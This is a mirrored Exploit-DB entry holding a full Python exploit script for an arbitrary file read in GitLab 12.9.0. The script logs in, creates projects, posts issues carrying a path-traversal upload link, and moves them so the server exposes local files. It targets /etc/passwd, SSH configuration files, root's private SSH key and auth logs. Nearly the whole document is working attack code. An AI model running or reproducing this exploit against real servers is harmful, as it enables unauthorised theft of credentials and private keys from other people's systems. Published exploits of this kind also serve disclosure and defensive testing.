GitLab 12.9.0 – Arbitrary File Read

  • 作者: KouroshRZ
    日期: 2020-05-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48431/
  • # Exploit Title: GitLab 12.9.0 - Arbitrary File Read 
    # Google Dork: -
    # Date: 2020-05-03
    # Exploit Author: KouroshRZ
    # Vendor Homepage: https://about.gitlab.com
    # Software Link: https://about.gitlab.com/install
    # Version: tested on gitlab version 12.9.0
    # Tested on: Ubuntu 18.04 (but it's OS independent)
    # CVE : -
    
    #####################################################################################################
    # #			
    # Copyright (c) 2020, William Bowling of Biteable, a.k.a vakzz#
    # All rights reserved.#
    # #
    # Redistribution and use in source and compiled forms, with or without modification, are permitted#
    # provided that the following conditions are met: #
    # #
    # * Redistributions of source code must retain the above copyright notice, this list of # 
    # conditions and the following disclaimer.#
    # #
    # * Redistributions in compiled form must reproduce the above copyright notice, this list of#
    # conditions and the following disclaimer in the documentation and/or other materials provided#
    # with the distribution.#
    # #
    # * Neither the name of William Bowling nor the names of Biteable, a.k.a vakzz may be used to #
    # endorse or promote products derived from this software without specific prior written permission. #
    # #
    ##################################################################################################### 
    
    # Exploit Title: automated exploit for Arbitrary file read via the UploadsRewriter when moving and issue in private gitlab server
    # Google Dork: -
    # Date: 05/03/2020
    # Exploit Author: KouroshRZ
    # Vendor Homepage: https://about.gitlab.com
    # Software Link: https://about.gitlab.com/install
    # Version: tested on gitlab version 12.9.0
    # Tested on: Ubuntu 18.04 (but it's OS independent)
    # CVE : -
    
    import requests
    import json
    from time import sleep
    
    # For debugging
    proxies = {
    'http' : '127.0.0.1:8080',
    'https' : '127.0.0.1:8080'
    }
    
    session = requests.Session()
    
    # config
    host = 'http[s]://<gitlab-address>'
    username = '<you-gitlab-username>'
    password = '<your-gitlab-password>'
    lastIssueUrl = ""
    
    def loginToGitLab(username, password):
    
    initLoginUrl = '{}/users/sign_in'.format(host)
    
    initLoginResult = session.get(initLoginUrl).text
    
    temp_index_csrf_param_start = initLoginResult.find("csrf-param")
    temp_index_csrf_param_end = initLoginResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initLoginResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]
    
    temp_index_csrf_token_start = initLoginResult.find("csrf-token")
    temp_index_csrf_token_end = initLoginResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initLoginResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]
    
    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")
    
    submitLoginUrl = '{}/users/auth/ldapmain/callback'.format(host)
    
    submitLoginData = {
    'utf8=' : '✓',
    csrf_param : csrf_token,
    'username' : username,
    'password' : password,
    }
    
    submitLoginResult = session.post(submitLoginUrl, submitLoginData, allow_redirects=False)
    
    if submitLoginResult.status_code == 302 and submitLoginResult.text.find('redirected') > -1:
    print("[+] You'e logged in ...")
    
    
    def createNewProject(projectName):
    
    
    initProjectUrl = '{}/projects/new'.format(host)
    
    initProjectResult = session.get(initProjectUrl).text
    
    temp_index_csrf_param_start = initProjectResult.find("csrf-param")
    temp_index_csrf_param_end = initProjectResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initProjectResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]
    
    temp_index_csrf_token_start = initProjectResult.find("csrf-token")
    temp_index_csrf_token_end = initProjectResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initProjectResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]
    
    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")
    
    tmp_index_1 = initProjectResult.find('{}/{}/\n'.format(host, username))
    tmp_index_2 = initProjectResult.find('value', tmp_index_1)
    tmp_index_3 = initProjectResult.find('type', tmp_index_2)
    namespace = initProjectResult[tmp_index_2 + 7 : tmp_index_3 - 2]
    
    createProjectUrl = '{}/projects'.format(host)
    createProjectData = {
    'utf8=' : '✓',
    csrf_param : csrf_token,
    'project[ci_cd_only]' : 'false',
    'project[name]' : projectName,
    'project[namespace_id]' : namespace,
    'project[path]' : projectName,
    'project[description]' : '',
    'project[visibility_level]' : '0'
    }
    
    createProjectResult = session.post(createProjectUrl, createProjectData, allow_redirects=False)
    
    if createProjectResult.status_code == 302:
    
    print("[+] New Project {} created ...".format(projectName))
    
    def createNewIssue(projectName, issueTitle, file):
    
    global lastIssueUrl
    
    initIssueUrl = '{}/{}/{}/-/issues/new'.format(host, username, projectName)
    
    initIssueResult = session.get(initIssueUrl).text
    
    temp_index_csrf_param_start = initIssueResult.find("csrf-param")
    temp_index_csrf_param_end = initIssueResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initIssueResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]
    
    temp_index_csrf_token_start = initIssueResult.find("csrf-token")
    temp_index_csrf_token_end = initIssueResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initIssueResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]
    
    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")
    
    createIssueUrl = '{}/{}/{}/-/issues'.format(host , username, projectName)
    
    createIssueData = {
    'utf8=' : '✓',
    csrf_param : csrf_token,
    'issue[title]' : issueTitle,
    'issue[description]' : '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})'.format(file),
    'issue[confidential]' : '0',
    'issue[assignee_ids][]' : '0',
    'issue[label_ids][]' : '',
    'issue[due_date]' : '',
    'issue[lock_version]' : '0'
    }
    
    createIssueResult = session.post(createIssueUrl, createIssueData, allow_redirects=False)
    
    if createIssueResult.status_code == 302:
    
    print("[+] New issue for {} created ...".format(projectName))
    tmp_index_1 = createIssueResult.text.find("href")
    tmp_index_2 = createIssueResult.text.find("redirected")
    lastIssueUrl = createIssueResult.text[tmp_index_1 + 6: tmp_index_2 - 2]
    print("[+] url of craeted issue : {}\n".format(lastIssueUrl))
    
    def moveLastIssue(source, destination, file):
    
    # Get destination project ID
    
    getProjectIdUrl = '{}/{}/{}'.format(host, username, destination)
    getProjectIdResult = session.get(getProjectIdUrl).text
    
    tmpIndex = getProjectIdResult.find('/search?project_id')
    projectId = getProjectIdResult[tmpIndex + 19 : tmpIndex + 21]
    #print("Project : {} ID ----> {}\n".format(destination, projectId))
    
    # Get CSRF token for moving issue
    # initIssueMoveUrl = '{}/{}/{}/-/issues/{}'.format(host, username, source, issue)
    initIssueMoveUrl = lastIssueUrl
    initIssueMoveResult = session.get(initIssueMoveUrl).text
    
    temp_index_csrf_token_start = initIssueMoveResult.find("csrf-token")
    temp_index_csrf_token_end = initIssueMoveResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initIssueMoveResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]
    
    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")
    
    # Move issue with associated CSRF token
    # moveIssueUrl = "{}/{}/{}/-/issues/{}/move".format(host, username, source, issue)
    moveIssueUrl = lastIssueUrl + "/move"
    moveIssueData = json.dumps({
    "move_to_project_id" : int(projectId)
    })
    headers = {
    'X-CSRF-Token' : csrf_token,
    'X-Requested-With' : 'XMLHttpRequest',
    'Content-Type' : 'application/json;charset=utf-8'
    }
    moveIssueResult = session.post(moveIssueUrl, headers = headers, data = moveIssueData, allow_redirects = False)
    
    if moveIssueResult.status_code == 500:
    print("[!] Permission denied for {}".format(file))
    else:
    description = json.loads(moveIssueResult.text)["description"]
    tmp_index = description.find("/")
    fileUrl = "{}/{}/{}/{}".format(host, username, destination, description[tmp_index+1:-1])
    
    print("[+] url of file {}: \n".format(f, fileUrl))
    fileContentResult = session.get(fileUrl)
    
    if fileContentResult.status_code == 404:
    print("[-] No such file or directory : {}".format(f))
    else:
    print("[+] Content of file {} read from server ...\n\n".format(f))
    print(fileContentResult.text)
    	
    print("\n****************************************************************************************\n")
    
    
    
    if __name__ == "__main__":
    
    loginToGitLab(username, password)
    
    createNewProject("project_01")
    createNewProject("project_02")
    
    # Put the files you want to read from server here
    	# The files on server should have **4 or more permission (world readable files)
    files = {
    '/etc/passwd',
    '/etc/ssh/sshd_config',
    '/etc/ssh/ssh_config',
    '/root/.ssh/id_rsa',
    '/var/log/auth.log'
    		# ...
    		# ...
    		# ...
    } 
    
    
    for f in files:
    createNewIssue("project_01", "issue01_{}".format(f), f)
    moveLastIssue("project_01", "project_02",f)
    sleep(3)